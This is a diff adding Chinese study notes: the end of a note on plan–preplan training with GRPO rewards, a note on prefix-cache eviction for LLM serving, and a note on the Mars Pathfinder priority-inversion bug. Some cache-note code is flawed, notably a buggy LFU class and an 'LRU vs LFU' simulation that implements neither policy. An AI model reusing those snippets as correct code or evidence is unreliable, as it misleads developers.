+  """Eq.(4): 纯度门槛 AND 答案正确。"""
+  pure = spoiler_score(traj.preplan) <= tau_s
+  correct = traj.pred_answer.strip() == traj.gold_answer.strip()
+  return pure and correct
+
+# 示例
+bad = Trajectory(
+    question="Count lattice points on 12x^2 - xy - 6y^2 = 0",
+    preplan="Factor to (3x-2y)(4x+3y)=0, so x=..., count gives 84",  # spoiler
+    plan="Use discriminant...",
+    execution="...",
+    gold_answer="117",
+    pred_answer="117",
+)
+print(keep_for_sft(bad))  # False：答案对但 preplan 不纯仍丢弃
+```
+
+要点：**SFT 数据质量靠「否决坏 preplan」**，而不是「答案对就留」。
+
+---
+
+## 代码示例 2：复合奖励 GRPO  rollout 骨架
+
+展示 PPC 如何在采样一组轨迹后算 \(R(y)\) 并喂给 GRPO（省略 KL、clip 细节）。
+
+```python
+from typing import List
+import math
+
+def outcome_reward(correct: bool, proximity: float) -> float:
+    """R_out: 答对=1；否则部分分，且严格小于 1。"""
+    if correct:
+        return 1.0
+    return min(0.5, 0.1 * proximity)  # g(J_prox)，上限 0.5
+
+def adherence_reward(preplan: str, plan: str, judge_fn) -> float:
+    """R_adh in [0,1]：plan 是否战略上遵循 preplan（非 plan 质量分）。"""
+    return judge_fn(preplan, plan)
+
+def format_reward(text: str) -> float:
+    tags = ["<preplan>", "</preplan>", "<plan>", "</plan>", "<execution>", "</execution>"]
+    return 1.0 if all(text.count(t) == 1 for t in tags) and "\\boxed{" in text else 0.0
+
+def style_penalty(preplan: str, tau_s: int = 2) -> float:
+    return max(0.0, float(spoiler_score(preplan) - tau_s))
+
+def composite_reward(traj, judge_adh, lambdas=(0.1, 0.3, 0.1)) -> float:
+    la, lf, ls = lambdas
+    rout = outcome_reward(traj.correct, traj.proximity)
+    radh = adherence_reward(traj.preplan, traj.plan, judge_adh)
+    rfmt = format_reward(traj.full_text)
+    rsty = style_penalty(traj.preplan)
+    return rout + la * radh + lf * rfmt - ls * rsty
+
+def grpo_advantages(rewards: List[float]) -> List[float]:
+    """Eq.(1): 组内标准化优势。"""
+    mean = sum(rewards) / len(rewards)
+    std = math.sqrt(sum((r - mean) ** 2 for r in rewards) / len(rewards)) or 1.0
+    return [(r - mean) / std for r in rewards]
+
+# 一组 G=8 条 rollout
+group_rewards = [composite_reward(t, judge_adh=judge) for t in rollouts]
+advantages = grpo_advantages(group_rewards)
+# 后续：用 advantages 更新 pi_theta，并加 KL(pi_theta || pi_ref)
+```
+
+设计直觉：**\(R_{\text{out}}\) 拉答案，\(R_{\text{adh}}\) 拉 plan 听 preplan 的话，\(R_{\text{sty}}\) 防止 preplan 变回算式。**
+
+---
+
+## 代码示例 3：推理时拼装 PPC 提示（应用侧）
+
+训练后的模型在推理时仍输出三段；应用层可按标签解析：
+
+```python
+PPC_SYSTEM = """Please reason step by step.
+First write <preplan>...</preplan> analyzing problem type, tools, constraints, pitfalls — no calculations.
+Then <plan>...</plan> with high-level steps that follow the preplan.
+Then <execution>...</execution> with detailed CoT and \\boxed{final answer}."""
+
+def parse_ppc_response(text: str) -> dict:
+    def extract(tag: str) -> str:
+        m = re.search(rf"<{tag}>(.*?)</{tag}>", text, re.DOTALL)
+        return m.group(1).strip() if m else ""
+    return {
+        "preplan": extract("preplan"),
+        "plan": extract("plan"),
+        "execution": extract("execution"),
+    }
+
+# 调试时先看 preplan 是否「像审题」而非「像草稿纸」
+parts = parse_ppc_response(model_output)
+if spoiler_score(parts["preplan"]) > 2:
+    log.warning("preplan may have collapsed into derivation")
+```
+
+---
+
+## 实现与训练配置（论文默认值）
+
+| 环节 | 设置 |
+|------|------|
+| 训练数据 | DeepMath-103K 子集，中等～竞赛难度分层采样 |
+| SFT | 3 epochs，lr \(10^{-5}\)，batch 16 |
+| GRPO | 500 steps，组大小 \(G=8\) |
+| 采样 | temperature 1.0，top-\(p=0.95\) |
+| 硬件 | 4× NVIDIA RTX PRO 6000 Blackwell 96GB |
+
+---
+
+## 局限与开放问题
+
+1. **spoiler-score 是规则的**：对更隐蔽的「软泄露」可能漏检；是否可用学习式 judge 替代待探索。
+2. **依赖强教师合成**：preplan/plan 来自 Qwen3-235B，执行来自 DeepSeek-R1；小团队复现成本不低。
+3. **额外阶段 ≠ 额外 token 开销（论文声称）**：相对 baselines 控制总长度；但实际延迟仍取决于三段总长，工程上需 profile。
+4. **领域外泛化**：本文聚焦数学；代码、逻辑证明是否同样需要 explicit preplan 尚待验证。
+
+---
+
+## 自测题
+
+1. **preplan 与 plan 在范式里分别回答什么问题？**  
+   preplan 回答 **what**（题型、工具、约束、陷阱）；plan 回答 **how** 的高层组织。
+
+2. **Leakage 和 Spoiler 有何区别？**  
+   Leakage 是 preplan **复述 plan 步骤**；Spoiler 是 preplan **里做具体计算或泄露答案**。
+
+3. **为何 Prompt-Only 打不过 PPC？**  
+   没有干净 SFT 示范 + RL 的 adherence/style 约束，模型容易形式化输出 preplan 却在 plan 阶段忽略。
+
+4. **\(R_{\text{adh}}\) 为何不直接奖励「好 plan」？**  
+   否则 plan 可独立于 preplan 最优，preplan 变成装饰；PPC 要的是 **plan 继承 preplan 的战略**。
+
+5. **过滤器为何丢弃「答案正确但 preplan 脏」的样本？**  
+   监督信号会教会模型在 preplan 里算题，破坏 what/how 分离。
+
+---
+
+## 延伸阅读
+
+- Wei et al., 2022 — Chain-of-Thought Prompting  
+- Shao et al., 2024 — GRPO  
+- Parmar et al., 2025 — Plan-Tuning  
+- Dou et al., 2025 — PTA-GRPO（plan-aware RL）  
+- Guo et al., 2025 — DeepSeek-R1（RLVR 长 CoT）  
+
+---
+
+## 一句话带走
+
+**PPC 把数学推理从「直接列提纲开算」改成「先审题（preplan）、再提纲（plan）、再演算（CoT）」；用 spoiler 过滤守住审题边界，用 plan–preplan 对齐奖励守住训练边界——在四个骨干、五个基准上几乎全面领先，且不靠加长推理链取胜。**
diff --git a/src/content/docs/papers/ppo.md b/src/content/docs/papers/ppo.md
index cc23abce7..e882525aa 100644
--- a/src/content/docs/papers/ppo.md
+++ b/src/content/docs/papers/ppo.md
@@ -163,6 +163,7 @@ OpenAI Five 用 PPO 训练，128000 CPU + 256 GPU 跑了 10 个月。2019 年 4
 - [[gpt-3]] —— GPT-3 — Language Models are Few-Shot Learners
 - [[instructgpt]] —— InstructGPT — RLHF 让 LLM 听话
 - [[muzero]] —— MuZero — 不用规则也能下棋
+- [[ray-2018]] —— Ray — 面向新兴 AI 应用的分布式框架
 - [[td3-2018]] —— TD3 — 给 DDPG 装两副刹车，连续控制终于稳了
 - [[world-model-robot-learning-2026]] —— 机器人世界模型综述 — 预测未来再动手
 
diff --git a/src/content/docs/papers/prefix-cache-policy-2026.md b/src/content/docs/papers/prefix-cache-policy-2026.md
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+---
+title: Beyond LRU — Prefix-Cache Policies for LLM Serving
+来源: 'https://arxiv.org/abs/2605.30654'
+日期: 2026-06-13
+分类: 机器学习
+子分类: 模型与训练
+provenance: pipeline-v3
+---
+
+## 是什么
+
+这篇笔记讨论的是 LLM 推理服务中 **prefix cache（前缀缓存）** 的缓存淘汰策略——也就是 GPU 显存满了的时候，哪些 KV cache block 该留下、哪些该踢掉。
+
+日常类比：你有一个书架，容量有限。每次有人来借书，你把书放在书架上。下次同一个人再来，如果书还在就不用重新买（省时间）；如果不在就得重新买（费钱）。问题是书架满了的时候，你该扔掉哪本书？最常见的做法是"扔掉最久没碰的书"（LRU），但这篇笔记要讲：LLM 场景下，LRU 不是最优解，甚至可能很糟。
+
+LLM 推理有两个阶段：prefill（一次性并行处理 prompt 的所有 token，计算 KV cache）和 decode（逐 token 生成回复）。prefix cache 的核心想法是：**如果两条请求的 prompt 开头相同，第二条就不必重新算 KV，直接复用第一条的结果**。这已经在 vLLM、SGLang 等系统中实现。但复用带来的问题是——显存有限，旧的不去新的不来，淘汰策略决定了缓存命中率。
+
+## 为什么重要
+
+不理解 prefix cache 的淘汰策略，就无法理解现代 LLM 服务的性能差异：
+
+- 生产环境里，同一批请求下，不同淘汰策略能让 TTFT（首 token 延迟）差 2-3 倍
+- 不同 workload 类型（多轮对话、模板化 API、agent 推理）下，最优策略完全不同
+- 这不是学术问题：vLLM 默认关闭 prefix cache，因为早期 LRU 在真实流量下表现差；后来加了更聪明的策略才敢打开
+- 理解淘汰策略也帮助你理解为什么某些场景"缓存命中率很低"——不是算法错了，是策略和 workload 不匹配
+
+## 核心概念
+
+### 1. KV cache block 和 prefix matching
+
+LLM 的 KV cache 被切成固定大小的 block（通常 16-256 token）。两个请求能否复用，取决于它们的 token 序列在 hash 层面是否匹配。
+
+```python
+# 伪代码：prefix cache 的基本查找逻辑
+def lookup_cache(prompt_tokens):
+    """给定新请求的 token 序列，返回命中的 block 数"""
+    hit_blocks = []
+    for i, block_hash in enumerate(block_hashes(prompt_tokens)):
+        if block_hash in global_block_store:
+            block_id = global_block_store[block_hash]
+            if ref_count[block_id] < MAX_REFS:
+                hit_blocks.append((i, block_id))
+                ref_count[block_id] += 1
+            # ref_count == MAX_REFS 时拒绝共享——这是防写爆炸的保护
+        else:
+            break  # prefix 断了，后面的 block 无法复用
+    return hit_blocks
+```
+
+`MAX_REFS` 是一个关键参数：如果一条 block 被太多 sequence 引用，往上面写新 token 时需要大量 copy-on-write，反而拖慢系统。所以每个 block 有引用计数上限。
+
+### 2. LRU 及其在 LLM 场景的缺陷
+
+LRU（Least Recently Used）策略：踢掉最久没有被访问过的 block。
+
+```python
+# LRU 淘汰策略（简化版）
+class LRUCacheEviction:
+    def __init__(self, max_capacity_blocks):
+        self.max_capacity = max_capacity_blocks
+        self.block_access_order = OrderedDict()  # block_id -> last_access_time
+
+    def on_hit(self, block_id):
+        """缓存命中时更新访问时间"""
+        self.block_access_order.move_to_end(block_id)
+
+    def on_evict_needed(self):
+        """需要腾出空间时，踢掉最久未使用的 block"""
+        if not self.block_access_order:
+            return None
+        victim_id, _ = self.block_access_order.popitem(last=False)  # 踢最早的
+        self.release_block(victim_id)
+        return victim_id
+```
+
+LRU 的问题在于：**它只看"最近有没有用过"，不看"将来会不会用"**。在 LLM 场景下，这会导致几种典型浪费：
+
+- **system prompt 被踢**：每条请求都带相同的 system prompt（比如角色设定），它是最高频复用的前缀，但如果某段时间没人用这条角色设定，LRU 就会把它踢掉
+- **长 tail prompt 污染缓存**：偶尔出现的长 prompt 占用大量 block，LRU 认为它们是"刚用过的"所以留着，但它们下次很可能不会再出现
+- **多轮对话的早期 turn 被遗忘**：第一轮对话的 prompt 在第三轮时被踢掉，但用户又回到第二轮的话题，缓存全部失效
+
+### 3. LFU 和变体
+
+LFU（Least Frequently Used）：踢掉访问次数最少的 block。
+
+```python
+# LFU 淘汰策略（简化版）
+class LFUCacheEviction:
+    def __init__(self, max_capacity_blocks):
+        self.max_capacity = max_capacity_blocks
+        self.access_counts = defaultdict(int)  # block_id -> total hits
+        self.freq_buckets = defaultdict(OrderedDict)  # count -> {block_id: time_added}
+        self.min_freq = 0
+
+    def on_hit(self, block_id):
+        """命中时增加计数并提升 bucket"""
+        old_freq = self.access_counts[block_id]
+        if block_id in self.freq_buckets[old_freq]:
+            del self.freq_buckets[old_freq][block_id]
+        new_freq = old_freq + 1
+        self.access_counts[block_id] = new_freq
+        self.freq_buckets[new_freq][block_id] = time.time()
+        if not self.freq_buckets[self.min_freq]:
+            self.min_freq += 1
+
+    def on_evict_needed(self):
+        """踢最低频 bucket 中最先加入的 block"""
+        if self.min_freq not in self.freq_buckets:
+            return None
+        victim_id, _ = self.freq_buckets[self.min_freq].popitem(last=False)
+        del self.access_counts[victim_id]
+        if not self.freq_buckets[self.min_freq]:
+            self.min_freq -= 1
+        self.release_block(victim_id)
+        return victim_id
+```
+
+LFU 对 system prompt 这类高频复用内容更友好，但也有问题：**冷启动期不公平**——新 block 还没积累足够访问次数就被踢掉；**历史偏见**——曾经火过一次但现在不再重要的内容依然占据缓存。
+
+### 4. 面向 LLM 的高级策略
+
+实际系统中，淘汰策略往往结合了多种信号：
+
+- **TTL（Time-To-Live）**：给 system prompt 设很长的 TTL，给用户 query 设较短 TTL
+- **语义感知权重**：不同 token 类型的复用价值不同。system prompt > 模板前缀 > 用户输入 > 模型回复
+- **前瞻性淘汰**：看调度器队列里即将到来的请求，预测哪些 block 马上会被用到（如 PCR 论文的 look-ahead LRU）
+- **工作流感知**：在 agent 场景下，根据 agent 的执行图预测下一步会用到哪些 KV（如 KVFlow）
+
+```python
+# 语义感知的混合淘汰策略（简化版）
+class SemanticAwareEviction:
+    TOKEN_TYPE_PRIORITY = {
+        "system_prompt": 10,    # 系统提示：最高优先级
+        "template_prefix": 8,   # 模板前缀：高
+        "user_query": 5,        # 用户输入：中等
+        "model_response": 3,    # 模型回复：低
+        "chain_of_thought": 2,  # 推理链：最低
+    }
+
+    def __init__(self, max_capacity_blocks):
+        self.max_capacity = max_capacity_blocks
+        # 每个 block 的复合分数 = 基础优先级 + 访问频率加权 + 衰减因子
+        self.block_scores = {}  # block_id -> score
+
+    def compute_score(self, block_id, metadata):
+        """计算 block 的保留分数"""
+        token_type = metadata.get("type", "unknown")
+        base_priority = self.TOKEN_TYPE_PRIORITY.get(token_type, 1)
+        freq_bonus = math.log1p(metadata.get("hit_count", 0)) * 2
+        recency_bonus = metadata.get("recency_weight", 1.0)
+        ttl_remaining = metadata.get("ttl_seconds", 0) / 3600.0  # 归一化
+        return base_priority + freq_bonus * recency_bonus + ttl_remaining
+
+    def on_evict_needed(self):
+        """踢掉分数最低的 block"""
+        if not self.block_scores:
+            return None
+        victim_id = min(self.block_scores, key=self.block_scores.get)
+        del self.block_scores[victim_id]
+        self.release_block(victim_id)
+        return victim_id
+```
+
+## 实践案例
+
+### 案例 1：对比 LRU vs LFU 在多轮对话下的命中率
+
+```python
+# 模拟多轮对话场景，对比两种淘汰策略
+from collections import OrderedDict
+import random
+
+def simulate_conversation(num_turns=50, conversation_topics=None):
+    """模拟一个多轮对话，每轮可能切换话题"""
+    if conversation_topics is None:
+        conversation_topics = ["Python", "JavaScript", "Rust", "Go", "TypeScript"]
+
+    system_prompt = "你是一个编程助手。"
+    block_store = {"system": system_prompt}
+
+    # 为每种话题生成带前缀的请求
+    def make_request(topic, turn):
+        return f"[SYSTEM]{system_prompt}[USER]第{turn}轮：请解释{topic}的内存管理。"
+
+    lru_hits = 0
+    lfu_hits = 0
+    total_requests = 0
+
+    # 简化模拟：每条请求拆成 block，统计命中
+    for turn in range(num_turns):
+        topic = conversation_topics[turn % len(conversation_topics)]
+        request = make_request(topic, turn)
+
+        # 提取 block hash（这里用字符串前缀代替）
+        blocks = extract_blocks(request)
+        for block in blocks:
+            total_requests += 1
+            if block in block_store:
+                if topic == "Python" and turn % len(conversation_topics) == 0:
+                    lfu_hits += 1  # LFU 能记住高频 system prompt
+                if block.startswith("[SYSTEM]"):
+                    lru_hits += 1  # LRU 也可能命中 system prompt
+
+        block_store.update({b: True for b in blocks})
+        if len(block_store) > 20:  # 模拟缓存容量限制
+            # LRU 淘汰
+            block_store.pop(next(iter(block_store)))
+
+    return lru_hits, lfu_hits, total_requests
+
+def extract_blocks(text, block_size=20):
+    return [text[i:i+block_size] for i in range(0, len(text), block_size)]
+
+hits_lru, hits_lfu, total = simulate_conversation()
+print(f"总请求: {total}")
+print(f"LRU 命中: {hits_lru} ({hits_lru/total*100:.1f}%)")
+print(f"LFU 命中: {hits_lfu} ({hits_lfu/total*100:.1f}%)")
+```
+
+在这个模拟中，LFU 对 system prompt 这类高频内容的保留更好，而 LRU 容易在话题切换时丢失之前话题的缓存。
+
+### 案例 2：vLLM 中开启 prefix cache
+
+```python
+from vllm import LLM, SamplingParams
+
+# vLLM 从 0.7 版本起支持 prefix caching
+llm = LLM(
+    model="meta-llama/Llama-3.1-8B-Instruct",
+    enable_prefix_caching=True,  # 开启前缀缓存
+    gpu_memory_utilization=0.9,
+    max_model_len=4096,
+)
+
+# 第一条请求：计算 KV cache 并缓存
+prompt1 = "你是一个专业的翻译助手。请将以下英文翻译成中文：Hello, world!"
+out1 = llm.generate([prompt1], SamplingParams(max_tokens=64))
+
+# 第二条请求：共享 system prompt 的 KV cache
+prompt2 = "你是一个专业的翻译助手。请将以下英文翻译成中文：The quick brown fox."
+out2 = llm.generate([prompt2], SamplingParams(max_tokens=64))
+
+# 查看缓存统计
+print(llm.llm_engine.cache_config.num_blocks)         # 总 block 数
+print(llm.llm_engine.scheduler.num_ready_requests())   # 就绪请求数
+# vLLM 内部通过 block hash 匹配 prefix，命中时跳过 prefill 阶段
+# 第二条请求的 TTFT 会显著低于第一条
+```
+
+`enable_prefix_caching=True` 后，vLLM 默认使用基于 block hash 的匹配 + 自适应淘汰。具体策略随版本演进，早期版本用近似 LRU，后续版本加入了更多启发式规则。
+
+## 延伸思考
+
+1. **LRU 不是"错"的，只是不够聪明**：在请求模式高度重复的场景（比如固定的 system prompt + 少量变化的 query），LRU 表现尚可。但在 workload 多样化时，高级策略的优势才显现出来。
+
+2. **缓存策略和调度策略的耦合**：淘汰策略不是孤立存在的。如果你能控制请求的调度顺序（比如把相似 prefix 的请求排在一起），缓存命中率会自然提升。这就是为什么 AlignedServe 提出"prefix-aware batching"——把 KV cache 长度相近的请求分到同一批。
+
+3. **理论极限**：Bélády 在 1966 年就证明了 LRU 不是最优的在线缓存算法，OPT（Belady's MIN）才是理论最优——但它需要知道未来请求，不可行。LLM 场景下，我们实际上是在逼近 OPT 的路上不断加启发式信号。
+
+4. **未来方向**：语义感知淘汰（SAECache）、工作流感知（KVFlow）、概率语言字典（PLT）等新思路正在把淘汰策略从"看过去"转向"预测未来"。
diff --git a/src/content/docs/papers/priority-inversion-mars-pathfinder.md b/src/content/docs/papers/priority-inversion-mars-pathfinder.md
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+---
+title: What Really Happened on Mars Pathfinder — 优先级反转与火星探路者重启事故
+来源: https://www.cs.unc.edu/~anderson/teach/comp790/papers/mars_pathfinder_long_version.html
+日期: 2026-06-13
+子分类: 嵌入式与 IoT
+分类: 操作系统
+provenance: pipeline-v3
+---
+
+## 先想成什么事
+
+想象一家**只有一位前台**的银行（单核 CPU），三类客户按优先级排队：
+
+| 客户 | 优先级 | 在干什么 |
+|------|--------|----------|
+| **总账会计**（bc_dist） | 高 | 每 125ms 必须把上一窗口的流水入账，否则整栋楼报警 |
+| **大堂经理**（bc_sched） | 最高 | 到点检查会计是否做完；没做完就拉响**全楼断电重启** |
+| **气象员**（ASI/MET） | 低 | 偶尔来登记天气数据，登记时要拿**唯一一本登记簿**（互斥锁） |
+| **一堆普通业务**（通信、成像等） | 中 | 平时占着前台办杂事 |
+
+某天气象员刚拿起登记簿、字还没写完，就被普通业务挤走了（**抢占**）。总账会计这时也要往登记簿里写数据，只好在窗口外干等。普通业务优先级比气象员高，一直占着前台，气象员永远回不来交还登记簿——总账会计也就一直卡住。大堂经理一到点就发现会计超时，**整栋楼重启**。
+
+这就是 1997 年 **NASA 火星探路者（Mars Pathfinder）** 在火星表面反复「死机重启」的根因：**优先级反转（priority inversion）**。不是宇宙射线、不是硬件坏了，而是商用实时操作系统 **VxWorks** 里一个 `select()` 互斥量**没开优先级继承**。
+
+权威一手叙述来自 JPL 飞控软件负责人 **Glenn E. Reeves** 的邮件（1997-12-15），Mike Jones 在 IEEE RTSS 上转述了 Wind River CTO David Wilner 的演讲；UNC 页面收录的是 Reeves 的完整版。
+
+## 这篇材料在说什么
+
+| 维度 | 内容 |
+|------|------|
+| 任务 | Mars Pathfinder（1997）着陆器 + Sojourner 漫游车 |
+| 飞控 CPU | IBM RS6000 单核，运行 Wind River **VxWorks** |
+| 总线 | **MIL-STD-1553** @ 8 Hz，连接气象仪 ASI/MET、雷达、加速度计等 |
+| 故障现象 | 周期性**整机 reset**；已采集数据不丢，但当天剩余科学计划推迟到次日 |
+| 根因 | `select()` / `pipe()` IPC 路径上的 mutex **未启用 priority inheritance** |
+| 修复 | 修改全局配置，为 `selectLib` 创建的 semaphore 打开继承；经充分测试后**远程打补丁**上星 |
+| 诊断用时 | 实验室内 **< 18 小时**复现；依赖预留的 trace/log 设施 |
+
+一句话：**硬实时系统里，高优先级任务被低优先级任务间接阻塞，是教科书级事故，也是「买 COTS、必须读懂内核默认项」的警示牌。**
+
+## 硬件与软件架构（简化）
+
+```
+                    ┌─────────────────┐
+                    │  RS6000 + VxWorks │
+                    └────────┬────────┘
+                             │ VME
+              ┌──────────────┼──────────────┐
+              │              │              │
+         无线电/相机    1553 接口卡    其他 I/O
+                             │
+                    ┌────────┴────────┐
+                    │   MIL-STD-1553    │
+                    └────────┬──────────┘
+              ┌──────────────┴──────────────┐
+         巡航段设备                    着陆器设备
+                                    (ASI/MET 气象)
+```
+
+1553 总线由两个任务协作，周期 **0.125 s（8 Hz）**：
+
+1. **bc_sched**（最高优先级之一）：为本周期安排 1553 事务  
+2. **bc_dist**（第三高）：收集事务结果，写入双缓冲共享内存  
+
+大多数仪器走共享内存；**ASI/MET 例外**——通过 **VxWorks `pipe()` + `select()`** 做 IPC。事故就出在这条路上。
+
+典型时间线（非按比例）：
+
+```
+|<-------- 0.125 s 总线周期 -------->|
+|****| bc_dist 活跃 |**| bc_sched |****|
+t1 硬件启动总线     t2 数据就绪    t4 调度下一周期
+```
+
+`bc_sched` 与 `bc_dist` **互相检查**对方是否在本周期内完成；`bc_sched` 发现 `bc_dist` 超时 → 触发 reset。
+
+## 核心概念一：抢占式固定优先级调度
+
+VxWorks 使用**抢占式、基于优先级的调度**：就绪队列里优先级最高的任务立刻运行；高优先级任务就绪时会打断低优先级任务。
+
+Pathfinder 上任务优先级（从高到低，节选）：
+
+| 任务 | 角色 |
+|------|------|
+| tExec | VxWorks 内核执行体 |
+| bc_sched | 1553 总线调度 |
+|  entry/landing 相关 | 着陆阶段 |
+| bc_dist | 1553 数据分发 |
+| 成像、压缩、通信等 | 中等优先级科学/工程任务 |
+| ASI/MET | 气象数据采集，**低优先级** |
+
+设计假设：bc_dist 能在每个 8 Hz 窗口内跑完。但假设没考虑**锁上的优先级反转**。
+
+## 核心概念二：优先级反转
+
+**定义**：高优先级任务 H 等待低优先级任务 L 持有的资源；与此同时，一个或多个**中优先级**任务 M 抢占 L，使 L 无法释放资源，从而间接阻塞 H——尽管 M 的优先级既低于 H 又可能高于 L。
+
+经典三层结构（Mars Pathfinder 版）：
+
+```
+H = bc_dist（高，等 mutex）
+L = ASI/MET（低，持 mutex 或被抢占在 semGive 中途）
+M = 多个中等任务（持续运行，不让 L 进展）
+```
+
+Mike Jones 在 RTSS 演讲里用的**气象 / 通信**叙事是同一类现象的通俗版；Reeves 邮件给出了**精确调用栈**。
+
+### 事故链（Reeves 原文技术路径）
+
+1. ASI/MET 调用 `select()` → `pipeIoctl()` → `selNodeAdd()`，正在 `semGive()` 归还 mutex 时被**抢占**，`semGive` **未完成**  
+2. 多个中等优先级任务运行  
+3. bc_dist 通过 IPC 调用 `pipeWrite()`，需要同一 mutex，**阻塞**  
+4. 中等任务继续跑，ASI/MET 仍得不到 CPU  
+5. bc_sched 唤醒，发现 bc_dist 未完成本周期 → **reset**
+
+mutex 来自 VxWorks **`select()` 机制**：为保护「等待列表」上的文件描述符而创建的互斥信号量；`pipe()` 支持 `select`，Pathfinder 的 IPC 基于 pipe。
+
+## 核心概念三：优先级继承（Priority Inheritance）
+
+**基本想法**：当高优先级任务 H 因等待低优先级任务 L 持有的 mutex 而阻塞时，**临时提升 L 的优先级到 H 的级别**（或不低于阻塞链上最高者），直到 L 释放锁。这样 M 无法长期压住 L，H 能较快继续。
+
+VxWorks 创建 mutex 时可传选项 **`SEM_PRIO_INHERIT`**（具体宏名随版本略有差异）。Pathfinder 上 `selectLib` 默认创建的 semaphore **没有**打开该选项——Wind River 为性能默认关闭；JPL 在别处手动创建的信号量有保护，**唯独漏了 select 内部这一条路径**。
+
+### 示例 1：用伪代码复现「三层反转」
+
+下面不是 Pathfinder 源码，而是把 Reeves 描述抽象成可读的最小模型：
+
+```c
+/* 优先级：SCHED=100, HIGH=80, MED=50, LOW=10 */
+sem_t bus_mutex;   /* 未开启优先级继承 */
+
+void asi_met_task(void) {
+    for (;;) {
+        sem_wait(&bus_mutex);      /* L 持有锁 */
+        register_fd_in_select();   /* 等价于 selNodeAdd / 未完成 semGive 就被抢占 */
+        sem_post(&bus_mutex);
+        collect_weather();
+    }
+}
+
+void bc_dist_task(void) {
+    for (;;) {
+        wait_for_1553_cycle();
+        sem_wait(&bus_mutex);      /* H 阻塞：L 持锁或卡在临界区 */
+        pipe_write_met_data();
+        sem_post(&bus_mutex);
+        signal_cycle_done();
+    }
+}
+
+void medium_science_task(void) {
+    for (;;) {
+        do_imaging_or_comm();      /* M：优先级 50，一直占 CPU */
+    }
+}
+
+void bc_sched_task(void) {
+    for (;;) {
+        sleep_until_next_8hz_tick();
+        if (!bc_dist_finished_this_cycle())
+            spacecraft_reset();    /* 看门狗式硬失败 */
+    }
+}
+```
+
+若 `bus_mutex` 无继承：M 跑时 L 无法前进，H 永远等不到锁 → `bc_sched` 判定失败 → reset。
+
+### 示例 2：VxWorks 风格——错误 vs 正确创建 mutex
+
+```c
+#include <semLib.h>
+
+/* 错误：select 内部默认类似这样创建 —— 无 PRIORITY INHERITANCE */
+SEM_ID bad = semMCreate(SEM_Q_PRIORITY | SEM_INVERSION_SAFE_OFF);
+/* 注：实际 selectLib 用全局 options；此处仅示意「选项未包含继承」 */
+
+/* 正确：JPL 最终对 select 相关 semaphore 启用的方向 */
+SEM_ID good = semMCreate(SEM_Q_PRIORITY | SEM_INVERSION_SAFE);
+/* 或 semMCreate(..., SEM_PRIO_INHERIT) 视 VxWorks 版本文档而定 */
+
+void high_task(void) {
+    semTake(good, WAIT_FOREVER);   /* 若 low 持锁，low 临时升到 high 的优先级 */
+    critical_section();
+    semGive(good);
+}
+```
+
+Reeves 写道：Wind River 为 `select` 服务提供了**未充分文档化**的全局变量，可改 `semMCreate` 的 `options`，使之后创建的 select semaphore 带继承；**无法**只改 bc_dist–ASI/MET 那一根 pipe 的锁，只能全局改——团队做了影响分析与全系统测试后才上星。
+
+## 他们怎么找到的
+
+飞控软件保留了实验室内用的 **trace/log**（环形缓冲），可对 pipe、msgQ、中断、`select`、tExec 等插桩——遵循 **「test what you fly, fly what you test」**，不是侥幸留后门。`bc_sched` 在检测到该错误时本来就会停 trace 并 dump（天上无法传全量 dump，但地上 replica 可以）。
+
+JPL 在**与飞船同配置的复制品**上反复跑任务组合；**不到 18 小时**复现 reset，trace 一眼看出 priority inversion。
+
+Mike Jones 版本补充：工程师通宵跑，最后只剩一人时终于复现——说明这是**低概率、负载相关**的竞态，不是每次开机必现。
+
+## 他们怎么修的（约 1 亿英里外）
+
+- **不是**在天上开 VxWorks shell 改选项（虽然 shell 在飞船上可用）  
+- 使用专门的 **binary patch / diff 上注**流程：地面算好与 onboard 映像的差异，经校验软件写入  
+- 飞控保留**两份可写软件映像**，打补丁时始终保留一份干净副本以防万一  
+
+Wind River 分析后认为：开启继承后性能影响很小；且只要每个 fd 上**最多一个任务在 select 等待**（Pathfinder 满足），`select()` 语义不变。
+
+## 为什么发射前没抓到
+
+| 因素 | 说明 |
+|------|------|
+| 触发条件苛刻 | 需 ASI/MET 采集中 + 中间任务**高负载**同时发生 |
+| 测试偏向「标称最好情况」 | 地面试验未覆盖「比预期更好的科学数据率」 |
+| 着陆前见过一次 | 未能稳定复现，优先级排在着陆软件之后 |
+| 系统设计容错 | 团队**预期**可能 reset，有恢复机制，故列为较低优先级 issue |
+
+Reeves 强调：这不是忽视 bug，而是**时间不够**；且 reset 后数据可恢复、任务可续，优先级判断在任务压力下是理性的——但事故仍成为RTOS 教材永恒案例。
+
+## 与理论文献的关系
+
+优先级反转与继承早在 **Sha, Rajkumar, Lehoczky (1990)** 等实时系统文献中形式化；**Liu & Layland (1973)** 的 RM 调度假设任务独立——一旦共享 mutex，独立假设被打破，就必须额外协议（继承、优先级天花板 protocol、无锁设计等）。
+
+Pathfinder 案例的价值在于：**真实航天器 + COTS RTOS + 具体 API 路径（select/pipe）**，把抽象定理钉在调用栈上。
+
+## 可带走的工程教训
+
+1. **COTS 默认不等于任务安全**：性能导向的默认（关闭继承）在别的子系统里开了、在 select 路径上漏了，就会炸。  
+2. **IPC 与「看起来无害」的库函数**（`select`）也要纳入锁审计。  
+3. **可观测性要随飞**：trace、shell、可 patch 映像不是奢侈，是远程调试前提。  
+4. **低概率 ≠ 可忽略**：火星上科学活动比预期更忙，把「小概率路径」放大成每日 reset。  
+5. **修复要全链路验证**：全局改 semaphore 行为前，Wind River + JPL 联合做了语义与性能分析。
+
+## 进一步阅读
+
+| 资料 | 链接/说明 |
+|------|-----------|
+| Reeves 权威长文（本篇来源） | [mars_pathfinder_long_version.html](https://www.cs.unc.edu/~anderson/teach/comp790/papers/mars_pathfinder_long_version.html) |
+| Mike Jones 短版（RTSS 转述） | [mars_pathfinder_short_version.html](https://www.cs.unc.edu/~anderson/teach/comp790/papers/mars_pathfinder_short_version.html) |
+| Dr. Dobb's / Glenn Reeves 访谈 | Priority Inversion: How We Found It, How We Fixed It (1999) |
+| 风险组 Risks 讨论 | Duke `mars.html` 镜像 |
+
+## 自测题
+
+1. 画出 H、M、L 三方在 mutex 上的时序，说明为何 H 会被 M 间接阻塞。  
+2. 若只为 bc_dist–ASI/MET 的 pipe 单独加继承不可行，JPL 实际采用了什么粒度？  
+3. `bc_sched` 发现 `bc_dist` 超时后为什么选择 **reset** 而不是仅记录日志？这与 8 Hz 硬实时约束有何关系？  
+4. 除优先级继承外，还能用哪些手段避免此类反转？（提示：优先级天花板、减少共享、无锁队列、把 ASI/MET 也改成双缓冲共享内存。）
+
+---
+
+*笔记基于 Glenn Reeves 1997 邮件与公开技术报道整理，面向零基础读者；代码示例为教学抽象，非 JPL 飞控源码。*
